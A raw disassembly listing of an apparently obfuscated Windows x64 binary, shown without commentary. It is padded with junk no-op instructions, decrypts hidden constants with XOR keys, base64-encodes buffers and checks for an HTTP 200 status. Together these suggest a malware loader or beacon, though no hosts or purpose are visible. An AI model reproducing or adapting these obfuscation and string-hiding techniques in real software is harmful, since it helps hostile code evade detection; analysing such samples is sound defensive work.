movzx r8d, byte [r8 + rbx]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbx]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0xb9000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0xdb0], edx
mov ecx, 4
xor edx, edx
jmp 0x140010f87
mov eax, dword [rsp + 0xdb0]
mov dword [rsp + 0x370], eax
mov rcx, rbp
call fcn.14001b537
mov rsi, rax
mov r12, rdx
mov rcx, rax
mov rdx, r13
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
mov qword [rsp + 0xdb8], r12
mov qword [rsp + 0xdc0], rbp
lea rax, [0x14003bbbd]
mov qword [rsp + 0x590], rax
lea rax, [rsp + 0x590]
mov rcx, qword [rsp + 0x590]
movabs rdx, 0xfc3a783c0de76ee9
mov qword [rsp + 0x590], rdx
mov rdx, qword [rsp + 0x590]
call fcn.1400067bc
movdqa xmmword [rsp + 0x590], xmm6
xor ecx, ecx
cmp rcx, 0xf
ja 0x140011077
mov rdx, qword [rcx + r15]
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x590], rdx
add rcx, 8
jmp 0x14001105b
mov al, byte [rax + 0x10]
xor al, 1
movdqa xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x180], xmm0
mov byte [rsp + 0x190], al
lea rcx, [rsp + 0xdb0]
lea rdx, [rsp + 0x180]
lea r8, [rsp + 0x191]
call fcn.14001b1d4
mov rsi, qword [rsp + 0xdb0]
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xdc0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov r9d, 4
mov r12, r14
lea rcx, [rsp + 0x590]
lea rbp, [rsp + 0x1e960]
mov rdx, rbp
lea r8, [rsp + 0x370]
call fcn.140006526
mov r14, qword [rsp + 0x40]
mov rcx, r14
call fcn.14001b537
mov rdi, rax
mov r13, rdx
mov rcx, rax
mov rdx, qword [rsp + 0x50]
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x1d0], r14
mov rcx, qword [rsp + 0x640]
mov rdx, qword [rsp + 0x648]
call fcn.1400386c5
mov qword [rsp + 0x640], rdi
mov qword [rsp + 0x648], r13
mov qword [rsp + 0x650], r14
mov r14, r12
mov r8d, 0xd0
lea r12, [rsp + 0xdb0]
mov rcx, r12
lea rdx, [rsp + 0x590]
call sub.msvcrt.dll_memcpy
lea rax, [0x14008c1b8]
mov qword [rsp + 0x1e960], rax
mov eax, 1
mov qword [rsp + 0x1e968], rax
and qword [rsp + 0x1e980], 0
lea rcx, [rsp + 0x1d0]
mov qword [rsp + 0x140], rcx
lea rcx, [fcn.140020703]
mov qword [rsp + 0x148], rcx
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x1e970], rcx
mov qword [rsp + 0x1e978], rax
lea rdi, [rsp + 0x100]
mov rcx, rdi
mov rdx, rbp
call fcn.140004364
mov rcx, rbp
mov rdx, r12
mov r8, rdi
call fcn.140006497
mov rcx, r14
mov rdx, rbp
call fcn.14002aa14
cmp qword [rsp + 0x250], 0
jne 0x140011279
mov edi, dword [rsp + 0x70]
inc edi
mov rcx, r14
call fcn.14000351f
mov rcx, rsi
mov rdx, qword [rsp + 0x48]
call fcn.14001b4c0
mov r13, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
jmp 0x140010e91
nop
nop
nop
or rax, 0
add rax, 0
nop
add rax, 0
or rax, rax
add rax, 0
add rax, 0
add rax, 0
sub rax, 0
add rax, 0
or rax, 0
or rax, 0
sub rax, 0
or rax, 0
xor rax, 0
nop
jmp 0x140010dd8
mov edi, dword [rsp + 0x2c8]
mov rax, rax
or rax, 0
sub rax, 0
or rax, 0
nop
or rax, rax
add rax, 0
xor rax, 0
or rax, rax
add rax, 0
or rax, rax
add rax, 0
add rax, 0
sub rax, 0
or rax, rax
nop
add rax, 0
or rax, rax
mov rcx, r14
call fcn.14000330d
mov rcx, rsi
mov rdx, qword [rsp + 0x48]
call fcn.14001b4c0
cmp edi, 0xc8
jne 0x140010dd8
or rax, 0
or rax, rax
or rax, rax
add rax, 0
nop
or rax, 0
nop
or rax, 0
xor rax, 0
xor rax, 0
add rax, 0
sub rax, 0
sub rax, 0
add rax, 0
mov rax, rax
xor rax, 0
nop
add rax, 0
or rax, rax
nop
nop
sub rax, 0
xor rax, 0
add rax, 0
nop
or rax, 0
sub rax, 0
nop
nop
xor rax, 0
sub rax, 0
or rax, rax
mov rax, rax
or rax, rax
or rax, rax
nop
or rax, rax
xor rax, 0
or rax, 0
nop
nop
mov rax, rax
add rax, 0
add rax, 0
nop
or rax, rax
nop
add rax, 0
sub rax, 0
nop
sub rax, 0
mov rax, rax
or rax, 0
mov rax, rax
sub rax, 0
nop
add rax, 0
or rax, rax
nop
nop
or rax, 0
xor rax, 0
or rax, 0
add rax, 0
mov rax, rax
nop
or rax, 0
xor rax, 0
nop
xor rax, 0
sub rax, 0
sub rax, 0
mov rdi, qword [rsp + 0x470]
mov rsi, qword [rsp + 0x480]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xdb0], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xdb8], rax
mov rcx, rsi
call fcn.14000482b
lea rcx, [rsp + 0xdb0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
xor ebx, ebx
mov r9d, 1
mov rcx, rsi
xor edx, edx
mov r8, rax
call fcn.1400051ed
xor rax, 0
nop
add rax, 0
mov rax, rax
mov rax, rax
mov r14, qword [rsp + 0xa0]
mov rcx, r14
call fcn.14001b537
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, qword [rsp + 0x88]
mov r8, r14
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
mov qword [rsp + 0xdb8], rdi
mov qword [rsp + 0xdc0], r14
lea rax, [0x1400666fc]
mov qword [rsp + 0x1e960], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0x24b7e5daaaef693c
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006ab0
and dword [rsp + 0x1e960], 0
mov dl, 1
lea rcx, [0x14004ade5]
test dl, 1
je 0x140011501
movzx edx, byte [rbx + rcx]
mov r8, rbx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, rbx
or r9, 2
movzx r9d, byte [r9 + rcx]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0x16000000
xor edx, dword [rax + rbx]
mov dword [rsp + rbx + 0x1e960], edx
mov ebx, 4
xor edx, edx
jmp 0x1400114b8
lea r8, [rsp + 0x1e964]
mov eax, dword [r8 - 4]
mov dword [r8 - 4], eax
lea rbx, [rsp + 0xdb0]
lea r14, [rsp + 0x1e960]
mov rcx, rbx
mov rdx, r14
call fcn.14001b1d4
mov rsi, qword [rbx]
mov rdi, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
sub rax, 0
sub rax, 0
or rax, 0
nop
sub rax, 0
mov rax, rax
lea rbx, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, rsi
call fcn.140006476
lea rax, [0x140060398]
mov qword [r14], rax
mov rcx, qword [r14]
movabs rax, 0x3d7cb5a98f45e12f
mov qword [r14], rax
mov rdx, qword [r14]
call fcn.140006845
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x32e0
xor cl, 0x8b
lea r8, [rsp + 0x590]
mov byte [r8 + 2], cl
mov word [r8], ax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r14, [rsp + 0x1e960]
mov r9d, 3
mov rcx, r14
mov rdx, rbx
call fcn.140006526
lea rbx, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, r14
call fcn.14002aa14
mov rcx, rsi
mov rdx, rdi
call fcn.14001b4c0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x80]
call fcn.14001b4c0
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.14001b4c0
mov rcx, rbx
call fcn.14000351f
mov r14, qword [rsp + 0x88]
add rax, 0
or rax, rax
sub rax, 0
nop
nop
mov rax, rax
nop
nop
sub rax, 0
nop
or rax, rax
or rax, rax
nop
xor rax, 0
or rax, rax
test r14, r14
je 0x1400124b5
or rax, rax
or rax, rax
nop
add rax, 0
or rax, rax
nop
mov rax, rax
mov rax, rax
or rax, rax
mov rax, rax
mov rax, rax
add rax, 0
nop
sub rax, 0
or rax, 0
sub rax, 0
or rax, rax
sub rax, 0
nop
xor rax, 0
mov rax, rax
or rax, 0
or rax, rax
mov rax, rax
add rax, 0
nop
nop
add rax, 0
or rax, rax
nop
or rax, rax
mov rbx, qword [rsp + 0xa0]
mov rcx, rbx
call fcn.14001b537
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
mov qword [rsp + 0xdb8], rdi
mov qword [rsp + 0xdc0], rbx
lea rax, [0x140066111]
mov qword [rsp + 0x1e960], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0x96457e7a3803c4b8
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006c07
and qword [rsp + 0x1e960], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x14004ade9]
test r8b, 1
je 0x1400117e7
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 4
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + rdx]
movzx r14d, byte [r14 + rdx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x1e960], r8
mov ecx, 8
xor r8d, r8d
jmp 0x14001173d
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x70f
lea rsi, [rsp + 0x1e960]
mov word [rsi + 8], ax
xor cl, 0x6f
mov byte [rsi + 0xa], cl
mov rax, qword [rsi]
lea r8, [rsp + 0x59b]
mov qword [r8 - 0xb], rax
mov eax, dword [rsi + 7]
mov dword [r8 - 4], eax
lea rbx, [rsp + 0xdb0]
lea rdx, [rsp + 0x590]
mov rcx, rbx
call fcn.14001b1d4
mov rdi, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rsp + 0x48], rax
mov r15, qword [rbx + 0x10]
nop
or rax, 0
nop
mov rax, rax
or rax, 0
xor rax, 0
xor rax, 0
or rax, 0
add rax, 0
nop
add rax, 0
sub rax, 0
mov rax, rax
xor rax, 0
xor rax, 0
sub rax, 0
nop
nop
nop
sub rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
xor r12d, r12d
lea rcx, [rsp + 0x250]
mov rdx, qword [rsp + 0x240]
mov r8, qword [rsp + 0x248]
xor r9d, r9d
call fcn.14000b0a4
or rax, rax
nop
xor rax, 0
nop
add rax, 0
nop
nop
or rax, 0
xor rax, 0
or rax, rax
add rax, 0
nop
or rax, 0
nop
sub rax, 0
xor rax, 0
lea rbx, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.140006476
lea rax, [0x140063d24]
mov qword [rsi], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsi]
movabs rax, 0x7657359bcc877fb3
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140006e35
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x3c23
xor cl, 0x15
lea r8, [rsp + 0xc0]
mov byte [r8 + 2], cl
mov word [r8], ax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r9d, 3
mov rcx, rsi
mov rdx, rbx
call fcn.140006526
lea rax, [0x14005ca8c]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0xaae6f5de8d9845da
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.1400068e4
and dword [rbx + 3], 0
and dword [rbx], 0
mov dl, 1
lea rcx, [0x14004adf4]
test dl, 1
je 0x1400119f0
movzx edx, byte [r12 + rcx]
mov r8, r12
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r9, r12
or r9, 3
mov r10, r12
or r10, 2
movzx r10d, byte [r10 + rcx]
movzx r9d, byte [r9 + rcx]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + r12]
mov dword [rsp + r12 + 0xdb0], r8d
mov r12d, 4
xor edx, edx
jmp 0x140011997
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x1102
mov edx, dword [rsp + 0xdb0]
mov byte [rsp + 0x106], cl
mov dword [rsp + 0x100], edx
mov word [rsp + 0x104], ax
mov rbx, qword [rsp + 0x260]
mov ecx, 3
mov rax, rbx
xor edx, edx
div rcx
mov rsi, rax
mov rax, rbx
shr rax, 0x3e
cmp eax, 2
ja 0x14001773a
mov r15, rdx
mov r12, qword [rsp + 0x250]
shl rsi, 2
test rdx, rdx
je 0x140011a60
add rsi, 4
jb 0x14001773a
mov rcx, rsi
mov dl, 1
call fcn.14001b4ec
mov qword [rsp + 0x590], rax
mov qword [rsp + 0x598], rdx
mov qword [rsp + 0x5a0], rsi
xor ecx, ecx
mov r8, rbx
mov edx, 0
sub r8, 0x1a
cmovb r8, rcx
jbe 0x140011d7f
mov ecx, 0x20
xor edx, edx
lea r9, [0x14004adfb]
lea r10, [rdx + 0x1a]
cmp r10, rbx
ja 0x14001773a
test rcx, rcx
je 0x14001773a
cmp rcx, rsi
ja 0x14001773a
mov r10, qword [r12 + rdx]
bswap r10
mov r11, r10
shr r11, 0x3a
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x20], r11b
mov r11, r10
shr r11, 0x34
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x1f], r11b
mov r11, r10
shr r11, 0x2e
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x1e], r11b
mov r11, r10
shr r11, 0x28
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x1d], r11b
mov r11, r10
shr r11, 0x22
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x1c], r11b
mov r11, r10
shr r11, 0x1c
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x1b], r11b
mov r11d, r10d
shr r11d, 0x16
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x1a], r11b
shr r10d, 0x10
and r10d, 0x3f
mov r10b, byte [r10 + r9 + 3]
mov byte [rax + rcx - 0x19], r10b
mov r10, qword [r12 + rdx + 6]
bswap r10
mov r11, r10
shr r11, 0x3a
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x18], r11b
mov r11, r10
shr r11, 0x34
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x17], r11b
mov r11, r10
shr r11, 0x2e
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x16], r11b
mov r11, r10
shr r11, 0x28
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x15], r11b
mov r11, r10
shr r11, 0x22
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x14], r11b
mov r11, r10
shr r11, 0x1c
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x13], r11b
mov r11d, r10d
shr r11d, 0x16
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x12], r11b
shr r10d, 0x10
and r10d, 0x3f
mov r10b, byte [r10 + r9 + 3]
mov byte [rax + rcx - 0x11], r10b
mov r10, qword [r12 + rdx + 0xc]
bswap r10
mov r11, r10
shr r11, 0x3a
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0x10], r11b
mov r11, r10
shr r11, 0x34
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0xf], r11b
mov r11, r10
shr r11, 0x2e
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0xe], r11b
mov r11, r10
shr r11, 0x28
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0xd], r11b
mov r11, r10
shr r11, 0x22
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0xc], r11b
mov r11, r10
shr r11, 0x1c
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0xb], r11b
mov r11d, r10d
shr r11d, 0x16
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 0xa], r11b
shr r10d, 0x10
and r10d, 0x3f
mov r10b, byte [r10 + r9 + 3]
mov byte [rax + rcx - 9], r10b
mov r10, qword [r12 + rdx + 0x12]
bswap r10
mov r11, r10
shr r11, 0x3a
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 8], r11b
mov r11, r10
shr r11, 0x34
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 7], r11b
mov r11, r10
shr r11, 0x2e
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 6], r11b
mov r11, r10
shr r11, 0x28
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 5], r11b
mov r11, r10
shr r11, 0x22
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 4], r11b
mov r11, r10
shr r11, 0x1c
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 3], r11b
mov r11d, r10d
shr r11d, 0x16
and r11d, 0x3f
mov r11b, byte [r11 + r9 + 3]
mov byte [rax + rcx - 2], r11b
shr r10d, 0x10
and r10d, 0x3f
mov r10b, byte [r10 + r9 + 3]
mov byte [rax + rcx - 1], r10b
add rdx, 0x18
add rcx, 0x20
cmp rdx, r8
jbe 0x140011aa8
add rcx, 0xffffffffffffffe0
mov r9, rbx
sub r9, r15
lea r8, [0x14004adfb]
cmp rdx, r9
jae 0x140011e39
cmp rdx, 0xfffffffffffffffc
ja 0x14001773a
lea r10, [rdx + 3]
cmp r10, rbx
ja 0x14001773a
cmp rcx, 0xfffffffffffffffb
ja 0x14001773a
lea r11, [rcx + 4]
cmp r11, rsi
ja 0x14001773a
movzx ebp, byte [r12 + rdx]
mov r13d, ebp
shr r13d, 2
mov r13b, byte [r13 + r8 + 3]
mov byte [rax + rcx], r13b
mov r14b, byte [r12 + rdx + 1]
shl bpl, 4
mov r13d, r14d
shr r13b, 4
or r13b, bpl
movzx r13d, r13b
and r13d, 0x3f
mov bpl, byte [r13 + r8 + 3]
mov byte [rax + rcx + 1], bpl
movzx edx, byte [r12 + rdx + 2]
shl r14b, 2
mov ebp, edx
shr bpl, 6
or bpl, r14b
movzx r14d, bpl
and r14d, 0x3f
mov bpl, byte [r14 + r8 + 3]
mov byte [rax + rcx + 2], bpl
and edx, 0x3f
mov dl, byte [rdx + r8 + 3]
mov byte [rax + rcx + 3], dl
mov rcx, r11
mov rdx, r10
jmp 0x140011d8c
cmp r15, 1
je 0x140012393
cmp r15, 2
jne 0x1400123d9
cmp rcx, rsi
jae 0x14001773a
movzx r10d, byte [r12 + r9]
mov edx, r10d
shr edx, 2
mov dl, byte [rdx + r8 + 3]
mov byte [rax + rcx], dl
inc r9
cmp r9, rbx
jae 0x14001773a
lea rdx, [rcx + 1]
cmp rdx, rsi
jae 0x14001773a
mov dl, byte [r12 + r9]
mov r9d, edx
shr r9b, 4
shl r10b, 4
or r10b, r9b
movzx r9d, r10b
and r9d, 0x3f
mov r9b, byte [r9 + r8 + 3]
mov byte [rax + rcx + 1], r9b
lea r9, [rcx + 2]
cmp r9, rsi
jae 0x14001773a
shl dl, 2
and dl, 0x3c
mov r10d, 3
jmp 0x1400123ca
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xa938
lea rsi, [rsp + 0x1e960]
mov word [rsi + 8], ax
xor cl, 0xac
mov byte [rsi + 0xa], cl
mov rax, qword [rsi]
lea r8, [rsp + 0x59b]
mov qword [r8 - 0xb], rax
mov eax, dword [rsi + 7]
mov dword [r8 - 4], eax
lea rdi, [rsp + 0xdb0]
lea rdx, [rsp + 0x590]
mov rcx, rdi
call fcn.14001b1d4
mov rbx, qword [rdi]
mov r14, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
add rax, 0
or rax, 0
xor rax, 0
nop
nop
or rax, 0
nop
or rax, 0
sub rax, 0
sub rax, 0
add rax, 0
mov rax, rax
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov rdx, rbx
call fcn.140006476
lea rax, [0x14006029a]
mov qword [rsi], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsi]
movabs rax, 0x65964cb9a4a18789
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1400067eb
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x25a6
xor cl, 0xa6
lea r8, [rsp + 0x100]
mov byte [r8 + 2], cl
mov word [r8], ax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r9d, 3
mov rcx, rsi
mov rdx, rdi
call fcn.140006526
lea rdi, [rsp + 0x590]
mov rcx, rdi
mov rdx, rsi
call fcn.14002aa14
mov r15, qword [rdi]
test r15, r15
je 0x140012fef
lea rax, [rsp + 0xdb0]
lea rsi, [rsp + 0x590]
mov ecx, 0x10
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
xchg rcx, rcx
xchg rcx, rcx
xchg rcx, rcx
add rcx, 0
sub rcx, 0
xor rcx, 0
mov rcx, rcx
sub rcx, 0
cmp dword [rax + 0x78], 0xc8
jne 0x1400120b5
sub rax, 0
or rax, 0
or rax, 0
add rax, 0
sub rax, 0
mov rax, rax
xor rax, 0
add rax, 0
or rax, rax
nop
or rax, 0
or rax, rax
or rax, rax
xor rax, 0
mov rax, rax
nop
mov rax, rax
sub rax, 0
sub rax, 0
mov rdx, qword [rsp + 0xe10]
mov r8, qword [rsp + 0xe20]
lea rsi, [rsp + 0x1e960]
mov rcx, rsi
call fcn.140020afd
cmp qword [rsi], 0
je 0x140013774
movdqu xmm0, xmmword [rsp + 0x1e968]
lea rcx, [rsp + 0x250]
movdqu xmmword [rcx + 8], xmm0
and qword [rcx], 0
call fcn.140003251
mov eax, 1
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0x68], rax
mov rdi, r15
xor esi, esi
lea rcx, [rsp + 0xdb0]
call fcn.14000330d
jmp 0x140013004
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x3fc0
lea rsi, [rsp + 0x1e960]
mov word [rsi + 8], ax
xor cl, 0x52
mov byte [rsi + 0xa], cl
mov rax, qword [rsi]
lea r8, [rsp + 0x59b]
mov qword [r8 - 0xb], rax
mov eax, dword [rsi + 7]
mov dword [r8 - 4], eax
lea rdi, [rsp + 0xdb0]
lea rdx, [rsp + 0x590]
mov rcx, rdi
call fcn.14001b1d4
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rsp + 0xb8], rax
mov r8, qword [rdi + 0x10]
nop
or rax, 0
or rax, 0
add rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
nop
nop
or rax, rax
add rax, 0
or rax, rax
nop
or rax, 0
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov qword [rsp + 0x80], rdx
call fcn.140006476
lea rax, [0x1400663b2]
mov qword [rsi], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsi]
movabs rax, 0xf1680be67c85b092
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140006892
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x5375
xor cl, 0xfb
lea r8, [rsp + 0x250]
mov byte [r8 + 2], cl
mov word [r8], ax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r9d, 3
mov rcx, rsi
mov rdx, rdi
call fcn.140006526
lea rdi, [rsp + 0x590]
mov rcx, rdi
mov rdx, rsi
call fcn.14002aa14
mov rax, qword [rdi]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14001303b
lea rax, [rsp + 0xdb0]
lea rsi, [rsp + 0x590]
mov ecx, 0x10
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
or rcx, rcx
add rcx, 0
add rcx, 0
nop
or rcx, rcx
add rcx, 0
sub rcx, 0
sub rcx, 0
mov rcx, rcx
xor rcx, 0
or rcx, rcx
sub rcx, 0
or rcx, rcx
or rcx, 0
cmp dword [rax + 0x78], 0xc8
jne 0x140013671
nop
mov rax, rax
nop
nop
xor rax, 0
add rax, 0
nop
or rax, 0
or rax, 0
or rax, 0
nop
or rax, 0
or rax, 0
xor rax, 0
or rax, rax
mov rcx, qword [rsp + 0xe20]
or rax, rax
add rax, 0
xor rax, 0
nop
add rax, 0
mov rax, rax
nop
mov rax, rax
or rax, rax
or rax, 0
add rax, 0
xor rax, 0
xor rax, 0
add rax, 0
or rax, rax
sub rax, 0
or rax, rax
nop
mov rax, rax
mov qword [rsp + 0x70], rcx
test rcx, rcx
je 0x140013856
mov rsi, qword [rsp + 0xe10]
nop
sub rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
nop
nop
nop
nop
nop
add rax, 0
nop
mov rax, rax
or rax, rax
nop
xor rax, 0
add rax, 0
or rax, rax
sub rax, 0
mov rcx, qword [rsp + 0x70]
mov rax, rcx
shr rax, 3
mov ebx, ecx
and ebx, 7
cmp rbx, 1
sbb rax, 0xffffffffffffffff
fdivr st(7)
mov qword [rsp + 0x68], rax
mov rax, rcx
shr rax, 2
and ecx, 3
cmp rcx, 1
sbb rax, 0xffffffffffffffff
lea rcx, [rax + rax*2]
mov qword [rsp + 0x40], rcx
and al, 0x40
mov dl, 1
call fcn.14001b4ec
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x90], rdx
cmp rbx, 5
ja case.default.0x140012387
lea rax, [0x140049090]
movsxd rcx, dword [rax + rbx*4]
add rcx, rax
jmp rcx
mov ebx, 8
jmp case.default.0x140012387
cmp rcx, rsi
jae 0x14001773a
movzx edx, byte [r12 + r9]
mov r9d, edx
shr r9d, 2
mov r9b, byte [r9 + r8 + 3]
mov byte [rax + rcx], r9b
lea r9, [rcx + 1]
cmp r9, rsi
jae 0x14001773a
shl dl, 4
and dl, 0x30
mov r10d, 2
movzx edx, dl
mov dl, byte [rdx + r8 + 3]
mov byte [rax + r9], dl
add rcx, r10
sub rsi, rcx
jb 0x14001773a
add rax, rcx
mov edx, ecx
neg edx
and edx, 3
xor r8d, r8d
cmp rdx, r8
je 0x140012407
cmp rsi, r8
je 0x14001773a
mov byte [rax + r8], 0x3d
inc r8
jmp 0x1400123ef
add rcx, rdx
jb 0x14001773a
lea rsi, [rsp + 0xdb0]
lea rdx, [rsp + 0x590]
mov rcx, rsi
call fcn.14000462c
cmp byte [rsi + 0x20], 2
jne 0x14001773a
lea r15, [rsp + 0xdb0]
mov rsi, qword [r15]
mov rbx, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x1e960]
lea r8, [rsp + 0x100]
mov r9d, 7
mov rcx, r15
call fcn.140006526
lea r12, [rsp + 0x1e960]
mov rcx, r12
mov rdx, r15
call fcn.14002aa14
mov rcx, qword [rsp + 0x250]
mov rdx, qword [rsp + 0x258]
call fcn.14001b4c0
mov rcx, rdi
mov rdx, qword [rsp + 0x48]
call fcn.14001b4c0
mov rcx, r12
call fcn.14000351f
mov rcx, rsi
mov rdx, rbx
call fcn.14001b4c0
or rax, rax
or rax, rax
sub rax, 0
or rax, rax
or rax, rax
xor rax, 0
or rax, rax
mov rax, rax
nop
or rax, 0
mov rax, rax
xor rax, 0
mov rax, rax
add rax, 0
nop
mov rax, rax
or rax, rax
sub rax, 0
mov rax, rax
xor rax, 0
xor rax, 0
or rax, rax
nop
sub rax, 0
nop
nop
mov rax, rax
or rax, 0
or rax, rax
mov rax, rax
nop
sub rax, 0
nop
add rax, 0
add rax, 0
mov rax, rax
or rax, rax
nop
add rax, 0
or rax, 0
or rax, rax
xor rax, 0
add rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
